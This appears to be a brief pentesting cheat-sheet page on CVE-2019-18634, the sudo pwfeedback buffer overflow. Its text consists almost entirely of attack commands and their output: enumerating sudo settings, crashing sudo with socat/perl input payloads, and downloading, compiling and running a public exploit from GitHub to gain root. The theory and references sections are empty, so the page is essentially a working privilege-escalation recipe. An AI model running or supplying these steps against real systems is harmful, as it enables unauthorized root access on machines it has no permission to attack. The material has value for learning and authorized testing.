Pwfeedback BOF
CVE-2019-18634
Theory
Practice
$ sudo -V
Sudo version 1.8.30$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on vulnserver:
env_reset, pwfeedback, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User user may run the following commands on vulnserver:
(ALL:ALL) /usr/bin/python3 /opt/custom/service.py$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
$ sudo -S -k id < /tmp/pty
Password: Segmentation fault (core dumped)$ perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
Password: Segmentation fault (core dumped)wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c
./exploitReferences
Last updated